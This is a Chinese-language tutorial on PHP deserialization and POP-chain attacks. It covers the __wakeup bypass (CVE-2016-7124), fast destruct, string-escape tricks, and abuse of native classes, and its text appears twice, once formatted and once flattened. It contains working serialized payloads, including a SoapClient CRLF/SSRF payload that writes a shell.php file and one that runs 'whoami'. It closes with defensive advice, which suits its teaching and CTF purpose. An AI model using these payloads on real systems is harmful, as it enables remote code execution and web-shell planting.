pop链构造的一些其他考点.
字数 2139 2025-08-29 22:41:24

PHP反序列化进阶:POP链构造与高级利用技术

魔术方法详解

PHP反序列化攻击的核心在于利用魔术方法,以下是关键魔术方法及其触发条件:

  1. __invoke(): 当尝试以调用函数的方式调用对象时触发,如 $a()
  2. __construct(): 类创建新对象时回调,new a()时触发(注意:unserialize()时不自动调用)
  3. __destruct(): 对象销毁或反序列化时调用,通常作为攻击链的入口点
  4. __wakeup(): unserialize()时自动调用
  5. __sleep(): serialize()前调用
  6. __toString(): 类被当作字符串使用时触发(如echo $objstrtolower($obj)等)
  7. __set(): 给不可访问或不存在的属性赋值时调用
  8. __get(): 读取不可访问或不存在的属性时调用
  9. __call(): 调用对象中不可访问的方法时执行
  10. __isset(): 对不可访问属性调用isset()empty()时触发
  11. __unset(): 对不可访问属性调用unset()时触发

__wakeup()绕过技术

CVE-2016-7124漏洞利用

影响版本:

  • PHP5 < 5.6.25
  • PHP7 < 7.0.10

绕过原理:
当对象属性数量大于实际数量时,__wakeup()不会触发

示例:

class ctf {
    public $h1;
    public $h2;
    public function __wakeup() { echo "wakeup<br>"; }
    public function __destruct() { echo "destruct<br>"; }
}

正常payload:
?ctf=O:3:"ctf":2:{s:2:"h1";N;s:2:"h2";N;}

绕过payload(修改属性数量):
?ctf=O:3:"ctf":3:{s:2:"h1";N;s:2:"h2";N;}

PHP引用赋值绕过

利用PHP的引用赋值特性&可以修改关键属性:

class ctf {
    public $key;
    public function __destruct() {
        $this->key = False;
        if(!isset($this->wakeup) || !$this->wakeup) {
            echo "You get it!";
        }
    }
    public function __wakeup() {
        $this->wakeup = True;
    }
}

利用方法:
$this->wakeup$this->key引用关联:

$a = new ctf();
$a->key = &$a->wakeup;
echo serialize($a);
// 输出: O:3:"ctf":2:{s:3:"key";N;s:6:"wakeup";R:2;}

PHP GC回收机制利用

基本原理

  • PHP通过引用计数和回收周期管理内存
  • 当变量被设置为NULL或没有指针指向时,会变成垃圾等待回收
  • 对象被回收时会调用__destruct()

利用场景

  1. 异常处理触发析构:
a:2:{s:1:"a";O:1:"B":0:{}s:1:"a";N;}

通过重复键名使前一个对象被销毁

  1. fast destruct技术:
  • 在unserialize过程中如果格式有误会提前触发析构
  • 方法:破坏字符串格式(如去掉最后的大括号)

PHP issue#9618绕过

在特定PHP版本(7.4.x-7.4.30, 8.0.x)中,可以通过构造错误的变量名长度使反序列化在__wakeup之前调用__destruct

字符串逃逸技术

字符增多型逃逸

当过滤函数使字符增多时,可以利用长度计算差异构造payload:

示例:
原始序列化:
O:1:"A":2:{s:5:"test1";s:6:"xxx123";s:5:"test2";s:5:"admin";}

被替换后:
O:1:"A":2:{s:5:"test1";s:61:"O:1:"A":2:{s:5:"test1";s:6:"yyyyyy123";s:5:"test2";s:5:"admin";}";s:5:"test2";s:6:"hacker";}

构造payload使123"后的内容逃逸:
xxxxxxxxxxxxxxxxxxxxxxxxxxx";s:5:"test2";s:5:"admin";}

字符减少型逃逸

当过滤使字符减少时,需要计算吸收的字符量:

目标:
O:1:"A":3:{s:5:"test1";s:4:"xxxx";s:5:"test2";s:3:"123";s:5:"test3";s:5:"admin";}

需要吸收:
";s:5:"test2";s:49:" (20位)

原生类利用

C开头原生类

可用于绕过/^[Oa]:[/d]+/过滤:

C:11:"ArrayObject":60:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";};m:a:0:{}}

文件操作类

  1. 遍历目录:

    • DirectoryIterator
    • FilesystemIterator
    • GlobIterator
      (注意:这些类不能反序列化)
  2. 读取文件:

    • SplFileObject

XSS利用

使用ErrorException原生类进行XSS攻击

SSRF利用

利用SoapClient__call方法进行SSRF:

条件:

  1. 启用soap扩展
  2. 调用不存在的方法触发__call()
  3. 仅限于http/https协议

CRLF攻击示例:

O:10:"SoapClient":5:{
    s:3:"uri";s:4:"aaab";
    s:8:"location";s:25:"http://127.0.0.1/flag.php";
    s:15:"_stream_context";i:0;
    s:11:"_user_agent";s:178:"aaa%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aX-Forwarded-For: 127.0.0.1%0d%0aCookie: aaaa=ssss%0d%0aContent-Length: 55%0d%0a%0d%0aa=file_put_contents("shell.php", "<?php phpinfo();?>");";
    s:13:"_soap_version";i:1;
}

其他特性

  1. 十六进制表示法:
    使用S表示十六进制字符串,如s:5:"test"可写为S:5:"\74\65\73\74"

  2. 类名大小写不敏感:
    PHP反序列化时类名不区分大小写

  3. 类内方法调用:

    • 静态调用: ClassName::method()
    • 动态调用: $obj->method()

防御建议

  1. 避免反序列化用户输入
  2. 及时更新PHP版本修复已知漏洞
  3. 对序列化数据进行签名验证
  4. 使用allowed_classes限制可反序列化的类
  5. 对魔术方法进行安全审计

以上技术可组合使用构造复杂的POP链,在实际渗透测试中需要根据目标环境灵活应用。

PHP反序列化进阶:POP链构造与高级利用技术 魔术方法详解 PHP反序列化攻击的核心在于利用魔术方法,以下是关键魔术方法及其触发条件: __ invoke() : 当尝试以调用函数的方式调用对象时触发,如 $a() __ construct() : 类创建新对象时回调, new a() 时触发(注意: unserialize() 时不自动调用) __ destruct() : 对象销毁或反序列化时调用,通常作为攻击链的入口点 __ wakeup() : unserialize() 时自动调用 __ sleep() : serialize() 前调用 __ toString() : 类被当作字符串使用时触发(如 echo $obj 、 strtolower($obj) 等) __ set() : 给不可访问或不存在的属性赋值时调用 __ get() : 读取不可访问或不存在的属性时调用 __ call() : 调用对象中不可访问的方法时执行 __ isset() : 对不可访问属性调用 isset() 或 empty() 时触发 __ unset() : 对不可访问属性调用 unset() 时触发 __ wakeup()绕过技术 CVE-2016-7124漏洞利用 影响版本 : PHP5 < 5.6.25 PHP7 < 7.0.10 绕过原理 : 当对象属性数量大于实际数量时, __wakeup() 不会触发 示例 : 正常payload : ?ctf=O:3:"ctf":2:{s:2:"h1";N;s:2:"h2";N;} 绕过payload (修改属性数量): ?ctf=O:3:"ctf":3:{s:2:"h1";N;s:2:"h2";N;} PHP引用赋值绕过 利用PHP的引用赋值特性 & 可以修改关键属性: 利用方法 : 将 $this->wakeup 和 $this->key 引用关联: PHP GC回收机制利用 基本原理 PHP通过引用计数和回收周期管理内存 当变量被设置为NULL或没有指针指向时,会变成垃圾等待回收 对象被回收时会调用 __destruct() 利用场景 异常处理触发析构 : 通过重复键名使前一个对象被销毁 fast destruct技术 : 在unserialize过程中如果格式有误会提前触发析构 方法:破坏字符串格式(如去掉最后的大括号) PHP issue#9618绕过 在特定PHP版本(7.4.x-7.4.30, 8.0.x)中,可以通过构造错误的变量名长度使反序列化在 __wakeup 之前调用 __destruct 字符串逃逸技术 字符增多型逃逸 当过滤函数使字符增多时,可以利用长度计算差异构造payload: 示例 : 原始序列化: O:1:"A":2:{s:5:"test1";s:6:"xxx123";s:5:"test2";s:5:"admin";} 被替换后: O:1:"A":2:{s:5:"test1";s:61:"O:1:"A":2:{s:5:"test1";s:6:"yyyyyy123";s:5:"test2";s:5:"admin";}";s:5:"test2";s:6:"hacker";} 构造payload使 123" 后的内容逃逸: xxxxxxxxxxxxxxxxxxxxxxxxxxx";s:5:"test2";s:5:"admin";} 字符减少型逃逸 当过滤使字符减少时,需要计算吸收的字符量: 目标 : O:1:"A":3:{s:5:"test1";s:4:"xxxx";s:5:"test2";s:3:"123";s:5:"test3";s:5:"admin";} 需要吸收: ";s:5:"test2";s:49:" (20位) 原生类利用 C开头原生类 可用于绕过 /^[Oa]:[/d]+/ 过滤: 文件操作类 遍历目录 : DirectoryIterator FilesystemIterator GlobIterator (注意:这些类不能反序列化) 读取文件 : SplFileObject XSS利用 使用 Error 和 Exception 原生类进行XSS攻击 SSRF利用 利用 SoapClient 的 __call 方法进行SSRF: 条件 : 启用soap扩展 调用不存在的方法触发 __call() 仅限于http/https协议 CRLF攻击示例 : 其他特性 十六进制表示法 : 使用 S 表示十六进制字符串,如 s:5:"test" 可写为 S:5:"\74\65\73\74" 类名大小写不敏感 : PHP反序列化时类名不区分大小写 类内方法调用 : 静态调用: ClassName::method() 动态调用: $obj->method() 防御建议 避免反序列化用户输入 及时更新PHP版本修复已知漏洞 对序列化数据进行签名验证 使用 allowed_classes 限制可反序列化的类 对魔术方法进行安全审计 以上技术可组合使用构造复杂的POP链,在实际渗透测试中需要根据目标环境灵活应用。